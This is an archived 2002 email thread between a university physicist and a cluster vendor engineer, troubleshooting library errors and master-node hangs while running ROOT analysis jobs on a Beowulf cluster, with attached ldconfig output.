system(""bpcp /data2/e5/root/4.232/$data_filename $NODE:/scratch/gilfoyle/e5/$RUNNO/$data_filename""); to this one. system(""bpsh $NODE cp /data2/e5/root/4.232/$data_filename $NODE:/scratch/gilfoyle/e5/$RUNNO/$data_filename""); does this really make a difference?? i tested things in the following ways. 1. i ran my scripts on two data runs for a few events in each run. things worked. 2. i ran them on 12 data runs for 250,000 events in each run. this is where pscm1 hung last week. THIS WORKED! I MAY BE ON THE VERGE OF BEING A HAPPY GUY. 3. i ran my scripts on 50 data runs for 250,000 events in each run. this worked! 4. i ran my scripts on 120 data runs for all the events in each run. this will take many hours, but it looks good so far. 5. went to chicago for thanksgiving. i'll be in touch next week. jerry -- Dr. Gerard P. Gilfoyle Physics Department e-mail: ggilfoyl@richmond.edu University of Richmond, VA 23173 phone: 804-289-8255 USA fax: 804-289-8482 --------------3AC320965AB03A2BFB6E2346 Content-Type: text/plain; charset=us-ascii; name=""cluster3.txt"" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename=""cluster3.txt"" >From - Mon Dec 2 17:23:13 2002 X-Mozilla-Status: 0001 X-Mozilla-Status2: 00000000 Message-ID: <3DE3ED59.162BA0D7@richmond.edu> Date: Tue, 26 Nov 2002 16:53:29 -0500 From: gilfoyle X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.4.9-34 i686) X-Accept-Language: en MIME-Version: 1.0 To: steven james Subject: Re: status of the Richmond cluster References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit hi steven, responses below. jerry steven james wrote: > > Greetings, > > The message about not finding ld.so.conf was a problem (fixed). The rest > is just a result of the caching system, and will not affect the systems > when they actually run. good. > > I am concerned about the master freezing up. Do you know if it displayed > any sort of OOPS on the console monitor when it hung? i ran it from jlab. tomorrow i will be in richmond and can try it from there. > > There are two tactics to get this nailed down. One is to have the slaves > copy their data directly from their /data? fileserver mounts. Currently, > the data is being double copied it looks like. i can try that tomorrow. > > The other is to stagger the start times of the analysis runs at .5 to 1 > minute intervals (perhaps a sleep 30 in a script?). i'll put it in. however, the data copying often takes more than a minute so i don't know how much this will help. > > This will help to narrow things down for a final resolution. > > G'day, > sjames > > On Tue, 26 Nov 2002, gilfoyle wrote: > > > hi steven, > > > > here's the latest. > > > > 1. i restored root. this was done by deleting the old directory and > > untarring the file from cern containing the libraries and the binaries. > > i used the version for redhat 7.2 and gcc 2.96. the file is > > > > /usr/root/root_v3.03.09.Linux.RH7.2.gcc296.tar > > > > 2. i executed the 'bpsh -d allup /sbin/ldconfig -v >setuplog-02-nov-25' > > and got the following. > > > > [root@pscm1]# bpsh -d allup /sbin/ldconfig -v > setuplog-02-nov-25 > > /sbin/ldconfig: Can't open configuration file /etc/ld.so.conf: No such > > file or directory > > /sbin/ldconfig: Cannot stat /usr/lib/libnss1_compat.so: No such file or > > directory > > /sbin/ldconfig: Cannot stat /usr/lib/libnss1_dns.so: No such file or > > directory > > /sbin/ldconfig: Cannot stat /usr/lib/libnss1_files.so: No such file or > > directory > > /sbin/ldconfig: Cannot stat /usr/lib/libnss1_nis.so: No such file or > > directory > > /sbin/ldconfig: Cannot stat /usr/lib/libnss1_compat.so: No such file or > > directory > > /sbin/ldconfig: Cannot stat /usr/lib/libnss1_dns.so: No such file or > > directory > > /sbin/ldconfig: Cannot stat /usr/lib/libnss1_files.so: No such file or > > directory > > /sbin/ldconfig: Cannot stat /usr/lib/libnss1_nis.so: No such file or > > directory > > > > ... lots more. > > > > i have attached the log file i created during this process. i didn't > > know > > if the messages above were a problem or not so i trudged on. > > > > 3. i tried running root from pscm1 and it worked beautifully. > > > > 4. i ran my scripts for submitting jobs to the cluster using four > > analysis runs. this also ran beautifully. it produced output files > > in the correct place that looked like things had worked. i was > > very happy. i ran this script using slaves 0-3. i had not been able > > to use slaves 2-3 before. > > > > 5. i ran my scripts using 12 analysis runs next. things started out > > fine. i was monitoring the number of jobs running on the slaves. at that > > point the jobs were either transferring data over to the slaves' disk > > or starting the analysis. sometime during this process, the master > > (pscm1) hung and i could get no response. this is similar to what we > > saw a couple of weeks ago. i waited for quite some time as you > > suggested in one of your emails, but i never got a response so i went > > home. > > > > 6. after i came in this morning i could get no response from pscm1 so i > > rebooted the master (actually my secretary did it. i am at JLab today). > > root still runs fine on the master. i will ask sasko (our linux person) > > to reboot the cluster today. > > > > let me know what you think. > > > > jerry > > > > > > > > steven james wrote: > > > > > > Greetings, > > > > > > Actually running root has been most informative. There appears to be a > > > problem with the installation of root PRO. Looking at the dmesg output of > > > node 3, root.exe is getting a segv when it tries to run. ldd shows that > > > it's library requirements are unsatisfied (on the master as well!). > > > > > > When I add /usr/root/PRO/lib to /etc/ld/so.conf and run ldconfig, it tells > > > me that several libraries in that directory are truncated. The real > > > surprise is that it could run on node 0 at all. Possably the libs somehow > > > got cached there and were later damaged. > > > > > > The best way to proceed would be to restore /usr/root/PRO/lib from backup > > > or re-install the package, then bpsh -d allup /sbin/ldconfig -v >setuplog > > > > > > setuplog should show no problems then. > > > > > > I have set up the ld.so.conf on all nodes but 8 in advance to be ready for > > > this operation. > > > > > > G'day, > > > sjames > > > > > > On Mon, 18 Nov 2002, gilfoyle wrote: > > > > > > > hi steven, > > > > > > > > i tried running things yesterday and got the following. > > > > > > > > 1. i tried running my perl scripts on slaves 10-11 (i.e. analyze two > > > > runs) and root did not run. the other tasks in the perl script were > > > > done correctly. > > > > > > > > 2. i tried running root with the bpsh command from pscm1. i executed the > > > > command in the area /scratch/gilfoyle/e5/24023 which is the area on the > > > > slave. what is the jargon for this? mirror/ghost directory? it did not > > > > run correctly or produce any output. however, there is a core file in > > > > the > > > > /scratch/gilfoyle/e5/24023 area on slave 10. > > > > > > > > 3. i tried running my perl scripts on slaves 0-1 since they worked > > > > before. > > > > they worked!! root ran and produced output files with filled histograms > > > > and all the good stuff. > > > > > > > > 4. i tried running root on pscm1 (to look at the results of step 3) and > > > > it did not run! it flashes its little greeting (which is an X-window > > > > function) and then crashes. the core file is in > > > > /home/gilfoyle/eod/run/results/. > > > > > > > > if you want to run this yourself the commands are the following. > > > > > > > > 1. to run root: > > > > > > > > root > > > > > > > > if you want to do more than that, let me know and i can give you a > > > > quick how-to for looking at data. > > > > > > > > 2. to run root on slave 10: > > > > > > > > bpsh 10 root -b -q /scratch/gilfoyle/e5/24023/run_eod3.C > > > > > > > > the data files are already on the slave. usually i would delete them > > > > after an analysis run, but i have them left them on the disk now for > > > > testing. > > > > > > > > 3. to submit a job to the cluster. > > > > > > > > a. go to /home/gilfoyle/eod/run. > > > > b. execute submit_eod3c.pl > > > > > > > > the scripts are submit_eod3c.pl and run_root_on_node3.pl. the main > > > > input file is /home/gilfoyle/eod/run/E5_run_numbers.inp which > > > > determines which runs to analyze. right now it only lists 2 runs so > > > > only two runs will get analyzed when you run submit_eod3c.pl. the > > > > script submit_eod3c.pl sets some parameters including which slaves > > > > to run the analysis on. for example, see the parameter first_node > > > > in submit_eod3c.p. > > > > > > > > let me know if there is more that will help. i'm starting to get a bit > > > > desperate to get this thing working. > > > > > > > > jerry > > > > > > > > > > > > > > > > > > > > > > > > steven james wrote: > > > > > > > > > > Greetings, > > > > > > > > > > I believe I have all of the library issues dealt with. > > > > > > > > > > I noticed a possably confusing behaviour that might have been the root of > > > > > some of this. > > > > > > > > > > Perl depends on several libraries in /lib to run. Unlike those in > > > > > /usr/lib, they were being managed by caching rather than just being > > > > > available from NFS. It can take about a minute for the libs to be fetched > > > > > from the master. During that time, the app will appear hung, but will > > > > > eventually start. > > > > > > > > > > I have pre-cached the files onto the node's local drive to try to avoid > > > > > that delay. > > > > > > > > > > Since the libs are cached, once that startup penelty is paid, it doesn't > > > > > happen again for those libs on that node until reboot. > > > > > > > > > > You can see this happen using tcpdump (I have a binary of it in my home > > > > > directory). The libs are transferred as a stream of multicast packets. > > > > > > > > > > Please let me know if this gets it going. If problems remain, a good > > > > > approach might be for me to make a copy of your test data and try the runs > > > > > myself until the expected results come up. > > > > > > > > > > G'day, > > > > > sjames > > > > > > > > > > On Thu, 14 Nov 2002, gilfoyle wrote: > > > > > > > > > > > hi steven, > > > > > > > > > > > > i'm checking in (when there is no beam) to find out the > > > > > > status of the cluster. have the library issues been resolved? > > > > > > if so, what was the solution? i'm itching to let this thing > > > > > > get cooking. > > > > > > > > > > > > jerry > > > > > > > > > > > > > > > > > > > > > > -- > > > > > -------------------------steven james, director of research, linux labs > > > > > ... ........ ..... .... 230 peachtree st nw ste 701 > > > > > the original linux labs atlanta.ga.us 30303 > > > > > -since 1995 http://www.linuxlabs.com > > > > > office 404.577.7747 fax 404.577.7743 > > > > > ----------------------------------------------------------------------- > > > > > > > > > > > > > > -- > > > -------------------------steven james, director of research, linux labs > > > ... ........ ..... .... 230 peachtree st nw ste 701 > > > the original linux labs atlanta.ga.us 30303 > > > -since 1995 http://www.linuxlabs.com > > > office 404.577.7747 fax 404.577.7743 > > > ----------------------------------------------------------------------- > > > > > > -- > -------------------------steven james, director of research, linux labs > ... ........ ..... .... 230 peachtree st nw ste 701 > the original linux labs atlanta.ga.us 30303 > -since 1995 http://www.linuxlabs.com > office 404.577.7747 fax 404.577.7743 > ----------------------------------------------------------------------- -- Dr. Gerard P. Gilfoyle Physics Department e-mail: ggilfoyl@richmond.edu University of Richmond, VA 23173 phone: 804-289-8255 USA fax: 804-289-8482 --------------3AC320965AB03A2BFB6E2346 Content-Type: text/plain; charset=us-ascii; name=""cluster4.txt"" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename=""cluster4.txt"" >From - Mon Dec 2 17:22:53 2002 X-Mozilla-Status: 9011 X-Mozilla-Status2: 00000000 Message-ID: <3DE38266.26E99213@richmond.edu> Date: Tue, 26 Nov 2002 09:17:10 -0500 From: gilfoyle X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.4.9-34 i686) X-Accept-Language: en MIME-Version: 1.0 To: steven james Subject: Re: status of the Richmond cluster References: Content-Type: multipart/mixed; boundary=""------------545417B6195503BD25884759"" This is a multi-part message in MIME format. --------------545417B6195503BD25884759 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit hi steven, here's the latest. 1. i restored root. this was done by deleting the old directory and untarring the file from cern containing the libraries and the binaries. i used the version for redhat 7.2 and gcc 2.96. the file is /usr/root/root_v3.03.09.Linux.RH7.2.gcc296.tar 2. i executed the 'bpsh -d allup /sbin/ldconfig -v >setuplog-02-nov-25' and got the following. [root@pscm1]# bpsh -d allup /sbin/ldconfig -v > setuplog-02-nov-25 /sbin/ldconfig: Can't open configuration file /etc/ld.so.conf: No such file or directory /sbin/ldconfig: Cannot stat /usr/lib/libnss1_compat.so: No such file or directory /sbin/ldconfig: Cannot stat /usr/lib/libnss1_dns.so: No such file or directory /sbin/ldconfig: Cannot stat /usr/lib/libnss1_files.so: No such file or directory /sbin/ldconfig: Cannot stat /usr/lib/libnss1_nis.so: No such file or directory /sbin/ldconfig: Cannot stat /usr/lib/libnss1_compat.so: No such file or directory /sbin/ldconfig: Cannot stat /usr/lib/libnss1_dns.so: No such file or directory /sbin/ldconfig: Cannot stat /usr/lib/libnss1_files.so: No such file or directory /sbin/ldconfig: Cannot stat /usr/lib/libnss1_nis.so: No such file or directory ... lots more. i have attached the log file i created during this process. i didn't know if the messages above were a problem or not so i trudged on. 3. i tried running root from pscm1 and it worked beautifully. 4. i ran my scripts for submitting jobs to the cluster using four analysis runs. this also ran beautifully. it produced output files in the correct place that looked like things had worked. i was very happy. i ran this script using slaves 0-3. i had not been able to use slaves 2-3 before. 5. i ran my scripts using 12 analysis runs next. things started out fine. i was monitoring the number of jobs running on the slaves. at that point the jobs were either transferring data over to the slaves' disk or starting the analysis. sometime during this process, the master (pscm1) hung and i could get no response. this is similar to what we saw a couple of weeks ago. i waited for quite some time as you suggested in one of your emails, but i never got a response so i went home. 6. after i came in this morning i could get no response from pscm1 so i rebooted the master (actually my secretary did it. i am at JLab today). root still runs fine on the master. i will ask sasko (our linux person) to reboot the cluster today. let me know what you think. jerry steven james wrote: > > Greetings, > > Actually running root has been most informative. There appears to be a > problem with the installation of root PRO. Looking at the dmesg output of > node 3, root.exe is getting a segv when it tries to run. ldd shows that > it's library requirements are unsatisfied (on the master as well!). > > When I add /usr/root/PRO/lib to /etc/ld/so.conf and run ldconfig, it tells > me that several libraries in that directory are truncated. The real > surprise is that it could run on node 0 at all. Possably the libs somehow > got cached there and were later damaged. > > The best way to proceed would be to restore /usr/root/PRO/lib from backup > or re-install the package, then bpsh -d allup /sbin/ldconfig -v >setuplog > > setuplog should show no problems then. > > I have set up the ld.so.conf on all nodes but 8 in advance to be ready for > this operation. > > G'day, > sjames > > On Mon, 18 Nov 2002, gilfoyle wrote: > > > hi steven, > > > > i tried running things yesterday and got the following. > > > > 1. i tried running my perl scripts on slaves 10-11 (i.e. analyze two > > runs) and root did not run. the other tasks in the perl script were > > done correctly. > > > > 2. i tried running root with the bpsh command from pscm1. i executed the > > command in the area /scratch/gilfoyle/e5/24023 which is the area on the > > slave. what is the jargon for this? mirror/ghost directory? it did not > > run correctly or produce any output. however, there is a core file in > > the > > /scratch/gilfoyle/e5/24023 area on slave 10. > > > > 3. i tried running my perl scripts on slaves 0-1 since they worked > > before. > > they worked!! root ran and produced output files with filled histograms > > and all the good stuff. > > > > 4. i tried running root on pscm1 (to look at the results of step 3) and > > it did not run! it flashes its little greeting (which is an X-window > > function) and then crashes. the core file is in > > /home/gilfoyle/eod/run/results/. > > > > if you want to run this yourself the commands are the following. > > > > 1. to run root: > > > > root > > > > if you want to do more than that, let me know and i can give you a > > quick how-to for looking at data. > > > > 2. to run root on slave 10: > > > > bpsh 10 root -b -q /scratch/gilfoyle/e5/24023/run_eod3.C > > > > the data files are already on the slave. usually i would delete them > > after an analysis run, but i have them left them on the disk now for > > testing. > > > > 3. to submit a job to the cluster. > > > > a. go to /home/gilfoyle/eod/run. > > b. execute submit_eod3c.pl > > > > the scripts are submit_eod3c.pl and run_root_on_node3.pl. the main > > input file is /home/gilfoyle/eod/run/E5_run_numbers.inp which > > determines which runs to analyze. right now it only lists 2 runs so > > only two runs will get analyzed when you run submit_eod3c.pl. the > > script submit_eod3c.pl sets some parameters including which slaves > > to run the analysis on. for example, see the parameter first_node > > in submit_eod3c.p. > > > > let me know if there is more that will help. i'm starting to get a bit > > desperate to get this thing working. > > > > jerry > > > > > > > > > > > > steven james wrote: > > > > > > Greetings, > > > > > > I believe I have all of the library issues dealt with. > > > > > > I noticed a possably confusing behaviour that might have been the root of > > > some of this. > > > > > > Perl depends on several libraries in /lib to run. Unlike those in > > > /usr/lib, they were being managed by caching rather than just being > > > available from NFS. It can take about a minute for the libs to be fetched > > > from the master. During that time, the app will appear hung, but will > > > eventually start. > > > > > > I have pre-cached the files onto the node's local drive to try to avoid > > > that delay. > > > > > > Since the libs are cached, once that startup penelty is paid, it doesn't > > > happen again for those libs on that node until reboot. > > > > > > You can see this happen using tcpdump (I have a binary of it in my home > > > directory). The libs are transferred as a stream of multicast packets. > > > > > > Please let me know if this gets it going. If problems remain, a good > > > approach might be for me to make a copy of your test data and try the runs > > > myself until the expected results come up. > > > > > > G'day, > > > sjames > > > > > > On Thu, 14 Nov 2002, gilfoyle wrote: > > > > > > > hi steven, > > > > > > > > i'm checking in (when there is no beam) to find out the > > > > status of the cluster. have the library issues been resolved? > > > > if so, what was the solution? i'm itching to let this thing > > > > get cooking. > > > > > > > > jerry > > > > > > > > > > > > > > -- > > > -------------------------steven james, director of research, linux labs > > > ... ........ ..... .... 230 peachtree st nw ste 701 > > > the original linux labs atlanta.ga.us 30303 > > > -since 1995 http://www.linuxlabs.com > > > office 404.577.7747 fax 404.577.7743 > > > ----------------------------------------------------------------------- > > > > > > -- > -------------------------steven james, director of research, linux labs > ... ........ ..... .... 230 peachtree st nw ste 701 > the original linux labs atlanta.ga.us 30303 > -since 1995 http://www.linuxlabs.com > office 404.577.7747 fax 404.577.7743 > ----------------------------------------------------------------------- -- Dr. Gerard P. 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-> libssl.so.0.9.6b libproc.so.2.0.7 -> libproc.so.2.0.7 libpam.so.0 -> libpam.so.0.75 libpam_misc.so.0 -> libpam_misc.so.0.75 libnss_bproc.so.2 -> libnss_bproc.so.2 libpamc.so.0 -> libpamc.so.0.75 libutil.so.1 -> libutil-2.2.4.so libthread_db.so.1 -> libthread_db-1.0.so libSegFault.so -> libSegFault.so librt.so.1 -> librt-2.2.4.so libresolv.so.2 -> libresolv-2.2.4.so libpthread.so.0 -> libpthread-0.9.so libpcprofile.so -> libpcprofile.so libnss_nisplus.so.2 -> libnss_nisplus-2.2.4.so libnss_nis.so.2 -> libnss_nis-2.2.4.so libnss_ldap.so.2 -> libnss_ldap-2.2.5.so libnss_hesiod.so.2 -> libnss_hesiod-2.2.4.so libnss_files.so.2 -> libnss_files-2.2.4.so libnss_dns.so.2 -> libnss_dns-2.2.4.so libnss_compat.so.2 -> libnss_compat-2.2.4.so libnss_nis.so.1 -> libnss1_nis-2.2.4.so libnss_files.so.1 -> libnss1_files-2.2.4.so libnss_dns.so.1 -> libnss1_dns-2.2.4.so libnss_compat.so.1 -> libnss1_compat-2.2.4.so libnsl.so.1 -> libnsl-2.2.4.so libNoVersion.so.1 -> libNoVersion-2.2.4.so libmemusage.so -> libmemusage.so libm.so.6 -> libm-2.2.4.so libdl.so.2 -> libdl-2.2.4.so libdb-3.2.so -> libdb-3.2.so libcrypt.so.1 -> libcrypt-2.2.4.so libc.so.6 -> libc-2.2.4.so libBrokenLocale.so.1 -> libBrokenLocale-2.2.4.so libanl.so.1 -> libanl-2.2.4.so ld-linux.so.2 -> ld-2.2.4.so /usr/lib: libmysqlclient_r.so.10 -> libmysqlclient_r.so.10.0.0 libmysqlclient.so.10 -> libmysqlclient.so.10.0.0 libopcodes-2.11.90.0.8.so -> libopcodes-2.11.90.0.8.so libpvm3.so.1 -> libpvm3.so.1 libsensors.so.1 -> libsensors.so.1.2.0 libpmpich.so.1 -> libpmpich.so.1.0 libmpich.so.1 -> libmpich.so.1.0 libfmpich.so.1 -> libfmpich.so.1.0 libbeomap.so.0.1 -> libbeomap.so.0.1 libisc.so.4 -> libisc.so.4.1.0 libldap_r.so.2 -> libldap_r.so.2.0.14 librpmio-4.0.4.so -> librpmio-4.0.4.so librpmdb-4.0.4.so -> librpmdb-4.0.4.so librpmbuild-4.0.4.so -> librpmbuild-4.0.4.so libssl3.so -> libssl3.so libsoftokn3.so -> libsoftokn3.so libsmime3.so -> libsmime3.so libprldap50.so -> libprldap50.so libldap50.so -> libldap50.so libnss3.so -> libnss3.so libswigtcl.so -> libswigtcl.so libswigpy.so -> libswigpy.so libnjamd.so.0 -> libnjamd.so.0.0.8 libnssckbi.so -> libnssckbi.so libmemintercept.so -> libmemintercept.so libgdkcardimage.so.0 -> libgdkcardimage.so.0.0.0 libmozz.so -> libmozz.so libobjc.so.1 -> libobjc.so.1.0.0 libdb_tcl-3.2.so -> libdb_tcl-3.2.so libbfd-2.11.90.0.8.so -> libbfd-2.11.90.0.8.so libxdelta.so.2 -> libxdelta.so.2.0.0 libedsio.so.0 -> libedsio.so.0.0.0 libostyle.so.0 -> libostyle.so.0.0.0 libospgrove.so.0 -> libospgrove.so.0.0.0 libosp.so.0 -> libosp.so.0.0.0 libogrove.so.0 -> libogrove.so.0.0.0 libmm.so.11 -> libmm.so.11.0.23 libgd.so.1.8 -> libgd.so.1.8.4 libcurl.so.1 -> libcurl.so.1.1.0 librpm-4.0.4.so -> librpm-4.0.4.so libmsgbaseutil.so -> libmsgbaseutil.so libesmtp.so.5 -> libesmtp.so.5.0.5 liblockdev.so.1 -> liblockdev.1.0.0.so libbproc.so.2 -> libbproc.so.2.2.5 libucdmibs.so.0 -> libucdmibs.so.0.4.2 libcapi20.so.2 -> libcapi20.so.2.0.6 libucdagent.so.0 -> libucdagent.so.0.4.2 libpcap.so.0.6.2 -> libpcap.so.0.6.2 libstdc++.so.2.8 -> libstdc++.so.2.8.0 libstdc++.so.2.7.2 -> libstdc++.so.2.7.2.8 libstdc++.so.2.9 -> libstdc++.so.2.9.dummy libg++.so.2.7.2 -> libg++.so.2.7.2.8 libxsltbreakpoint.so.1 -> libxsltbreakpoint.so.1.0.7 libstdc++-libc6.1-1.so.2 -> libstdc++-2-libc6.1-1-2.9.0.so libxmms.so.1 -> libxmms.so.1.1.0 libSDL_mixer-1.2.so.0 -> libSDL_mixer-1.2.so.0.0.0 libsmpeg-0.4.so.0 -> libsmpeg-0.4.so.0.1.3 libSDL_net-1.2.so.0 -> libSDL_net-1.2.so.0.0.2 libSDL_image-1.2.so.0 -> libSDL_image-1.2.so.0.0.0 libSDL-1.2.so.0 -> libSDL-1.2.so.0.0.2 libmikmod.so.2 -> libmikmod.so.2.0.2 libao.so.2 -> libao.so.2.0.1 libcdda_interface.so.0 -> libcdda_interface.so.0.9.8 libcdda_paranoia.so.0 -> libcdda_paranoia.so.0.9.8 libvorbisfile.so.0 -> libvorbisfile.so.0.1.0 libvorbisenc.so.0 -> libvorbisenc.so.0.0.1 libvorbis.so.0 -> libvorbis.so.0.0.1 libogg.so.0 -> libogg.so.0.2.0 libnautilus.so.0 -> libnautilus.so.0.0.0 libnautilus-tree-view.so.0 -> libnautilus-tree-view.so.0.0.0 libnautilus-private.so.0 -> libnautilus-private.so.0.0.0 libpanel_status.so.0 -> libpanel_status.so.0.0.0 libnautilus-adapter.so.0 -> libnautilus-adapter.so.0.0.0 libpanel_applet.so.0 -> libpanel_applet.so.0.0.1 libgen_util_applet.so.0 -> libgen_util_applet.so.0.0.0 libfish_applet.so.0 -> libfish_applet.so.0.0.0 libgtkhtml.so.9 -> libgtkhtml.so.9.1.0 libcapplet.so.0 -> libcapplet.so.0.0.0 libguilereadline.so.0 -> libguilereadline.so.0.0.0 libguile.so.6 -> libguile.so.6.0.0 libfam.so.0 -> libfam.so.0.0.0 libscrollkeeper.so.0 -> libscrollkeeper.so.0.0.0 libldap.so.2 -> libldap.so.2.0.14 libgnomevfs.so.0 -> libgnomevfs.so.0.0.0 libgnomevfs-pthread.so.0 -> libgnomevfs-pthread.so.0.0.0 libgconf-gtk-1.so.1 -> libgconf-gtk-1.so.1.0.0 libgconf-1.so.1 -> libgconf-1.so.1.0.0 libbonobo.so.2 -> libbonobo.so.2.0.0 libbonobo-print.so.2 -> libbonobo-print.so.2.0.0 libbonobox.so.2 -> libbonobox.so.2.0.0 liboaf.so.0 -> liboaf.so.0.0.0 libxpistub.so -> libxpistub.so libxpcom.so -> libxpcom.so libplds4.so -> libplds4.so libplc4.so -> libplc4.so libnspr4.so -> libnspr4.so libmozjs.so -> libmozjs.so libjsj.so -> libjsj.so libgtkxtbin.so -> libgtkxtbin.so libgtksuperwin.so -> libgtksuperwin.so libefs.so.1 -> libefs.so.1.0.0 libgkgfx.so -> libgkgfx.so libgtkembedmoz.so -> libgtkembedmoz.so libunicode.so.0 -> libunicode.so.0.0.0 librsvg.so.1 -> librsvg.so.1.0.0 librep.so.9 -> librep.so.9.1.5 libgnomeole2.so.0 -> libgnomeole2.so.0.0.0 libgtop_sysdeps.so.1 -> libgtop_sysdeps.so.1.0.11 libgtop_suid_common.so.1 -> libgtop_suid_common.so.1.0.11 libgtop_names.so.1 -> libgtop_names.so.1.0.11 libgtop_guile_names.so.1 -> libgtop_guile_names.so.1.0.11 libgtop_guile.so.1 -> libgtop_guile.so.1.0.11 libgtop_common.so.1 -> libgtop_common.so.1.0.11 libgtop.so.1 -> libgtop.so.1.0.11 libgal.so.7 -> libgal.so.7.0.0 libgnomeprint.so.15 -> libgnomeprint.so.15.1.9 libghttp.so.1 -> libghttp.so.1.0.0 libgnomecanvaspixbuf.so.1 -> libgnomecanvaspixbuf.so.1.0.0 libpspell_aspell.so.2 -> libpspell_aspell.so.2.0.1 libaspell.so.10 -> libaspell.so.10.1.1 libpspell.so.4 -> libpspell.so.4.0.3 libpspell-modules.so.1 -> libpspell-modules.so.1.0.1 libpspell-impl.so.6 -> libpspell-impl.so.6.0.0 libltdl.so.3 -> libltdl.so.3.0.0 libtix.so.0 -> libtix.so.0 libtk.so.0 -> libtk.so.0 libtcl.so.0 -> libtcl.so.0 libglade.so.0 -> libglade.so.0.4.2 libglade-gnome.so.0 -> libglade-gnome.so.0.4.2 libzvt.so.2 -> libzvt.so.2.2.10 libgtkxmhtml.so.1 -> libgtkxmhtml.so.1.0.1 libgnorbagtk.so.0 -> libgnorbagtk.so.0.0.0 libgnorba.so.27 -> libgnorba.so.27.1.8 libgnomeui.so.32 -> libgnomeui.so.32.14.1 libgnomesupport.so.0 -> libgnomesupport.so.0.0.0 libgnome.so.32 -> libgnome.so.32.4.3 libart_lgpl.so.2 -> libart_lgpl.so.2.2.0 libORBitutil.so.0 -> libORBitutil.so.0.5.8 libORBitCosNaming.so.0 -> libORBitCosNaming.so.0.5.8 libORBit.so.0 -> libORBit.so.0.5.8 libIIOP.so.0 -> libIIOP.so.0.5.8 libimlib-xpm.so -> libimlib-xpm.so libIDL-0.6.so.0 -> libIDL-0.6.so.0.4.4 libimlib-ps.so -> libimlib-ps.so libimlib-ppm.so -> libimlib-ppm.so libimlib-png.so -> libimlib-png.so libimlib-tiff.so -> libimlib-tiff.so libimlib-gif.so -> libimlib-gif.so libimlib-bmp.so -> libimlib-bmp.so libimlib-jpeg.so -> libimlib-jpeg.so libdns.so.5 -> libdns.so.5.3.0 libppm.so.9 -> libppm.so.9.14 libpnm.so.9 -> libpnm.so.9.6 libpgm.so.9 -> libpgm.so.9.7 libpbm.so.9 -> libpbm.so.9.13 libxml.so.1 -> libxml.so.1.8.14 libuser.so.0 -> libuser.so.0.0.0 libuser_quota.so.0 -> libuser_quota.so.0.0.0 libungif.so.4 -> libungif.so.4.1.0 libungif.so.3 -> libungif.so.3.1.0 libmng.so.1 -> libmng.so.1.0.0 libcap.so.1 -> libcap.so.1.10 libesddsp.so.0 -> libesddsp.so.0.2.22 libesd.so.0 -> libesd.so.0.2.22 libsoundserver_idl.so.0 -> libsoundserver_idl.so.0.0.0 libmcop_mt.so.0 -> libmcop_mt.so.0.0.0 libmcop.so.0 -> libmcop.so.0.0.0 libkmedia2_idl.so.0 -> libkmedia2_idl.so.0.0.0 libkmedia2.so.0 -> libkmedia2.so.0.0.0 libartsflow_idl.so.0 -> libartsflow_idl.so.0.0.0 libartsflow.so.0 -> libartsflow.so.0.0.0 libartsdsp_st.so.0 -> libartsdsp_st.so.0.0.0 libartsdsp.so.0 -> libartsdsp.so.0.0.0 libartswavplayobject.so.0 -> libartswavplayobject.so.0.0.0 libartscbackend.so.0 -> libartscbackend.so.0.0.0 libartsc.so.0 -> libartsc.so.0.0.0 libaudiofile.so.0 -> libaudiofile.so.0.0.1 libglut.so.3 -> libglut.so.3.7.0 libGLU.so.1 -> libGLU.so.1.1.030402 libGL.so.1 -> libGL.so.1.2.030402 libgdk_pixbuf_xlib.so.2 -> libgdk_pixbuf_xlib.so.2.0.0 libgdk_pixbuf.so.2 -> libgdk_pixbuf.so.2.0.0 libtiff.so.3 -> libtiff.so.3.5 libjpeg.so.62 -> libjpeg.so.62.0.0 libgtk-1.2.so.0 -> libgtk-1.2.so.0.9.1 libgdk-1.2.so.0 -> libgdk-1.2.so.0.9.1 libVFlib2.so.24 -> libVFlib2.so.24.0.3 libalchemist.so.0 -> libalchemist.so.0.0.0 libxslt.so.1 -> libxslt.so.1.0.7 libsnmp.so.0 -> libsnmp.so.0.4.2 libxml2.so.2 -> libxml2.so.2.4.10 libexslt.so.0 -> libexslt.so.0.7.0 liblber.so.2 -> liblber.so.2.0.14 libmp.so.3 -> libmp.so.3.1.1 libgmp.so.3 -> libgmp.so.3.1.1 libttf.so.2 -> libttf.so.2.3.0 libfreetype.so.6 -> libfreetype.so.6.0.1 libexpat.so.0 -> libexpat.so.0.0.1 libImlib.so.1 -> libImlib.so.1.9.13 libpng.so.2 -> libpng.so.2.1.0.14 libeel.so.0 -> libeel.so.0.0.2 libz.so.1 -> libz.so.1.1.3 libgpm.so.1 -> libgpm.so.1.18.0 libsasl.so.7 -> libsasl.so.7.1.8 libgdk_imlib.so.1 -> libgdk_imlib.so.1.9.13 libutempter.so.0 -> libutempter.so.0.5.2 libctutils.so.0 -> libctutils.so.0.0.0 libconsole.so.0 -> libconsole.so.0.0.0 libctgeneric.so.0 -> libctgeneric.so.0.0.0 libreadline.so.4 -> libreadline.so.4.2 libhistory.so.4 -> libhistory.so.4.2 libpanel.so.5 -> libpanel.so.5.2 libncurses.so.5 -> libncurses.so.5.2 libmenu.so.5 -> libmenu.so.5.2 libform.so.5 -> libform.so.5.2 libstdc++-libc6.2-2.so.3 -> libstdc++-3-libc6.2-2-2.10.0.so libcfont.so.0 -> libcfont.so.0.0.0 libslang.so.1 -> libslang.so.1.4.4 libnewt.so.0.50 -> libnewt.so.0.50.33 libpopt.so.0 -> libpopt.so.0.0.0 libpcreposix.so.0 -> libpcreposix.so.0.0.0 libparted-1.4.so.14 -> libparted-1.4.so.14.1.1 libgthread-1.2.so.0 -> libgthread-1.2.so.0.0.10 libgmodule-1.2.so.0 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libdps.so.1.0 libXtst.so.6 -> libXtst.so.6.1 libXlt.so.0 -> libXlt.so.0.9.2 libXpm.so.4 -> libXpm.so.4.11 libXmuu.so.1 -> libXmuu.so.1.0 libXmu.so.6 -> libXmu.so.6.2 libXfont.so.1 -> libXfont.so.1.3 libXt.so.6 -> libXt.so.6.0 libXext.so.6 -> libXext.so.6.4 libXaw.so.7 -> libXaw.so.7.0 libXp.so.6 -> libXp.so.6.2 libXaw.so.6 -> libXaw.so.6.1 libXIE.so.6 -> libXIE.so.6.0 libX11.so.6 -> libX11.so.6.2 libXi.so.6 -> libXi.so.6.0 libSM.so.6 -> 